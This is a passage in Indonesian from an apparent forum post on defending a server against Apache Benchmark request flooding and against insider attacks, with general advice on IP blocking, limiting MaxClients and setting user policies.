+ Pencegahan serangan Apache Benchmark. Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From). Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang admin harus teliti. Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi jumlah pengunjung akan menjaga toko anda dari 'Denial of Service'. Jangan lupa juga menambah RAM.

4. Pencegahan serangan non elektronik.
Serangan yang paling efektif pada dasarnya adalah local. Selain efektif juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman, atau semua user adalah orang 'baik'. Pertimbangkan semua aspek. Anda bisa menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan serangan dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan berfikir dari admin dan user bersangkutan.

di kutip dari http://yogyafree.net/forum2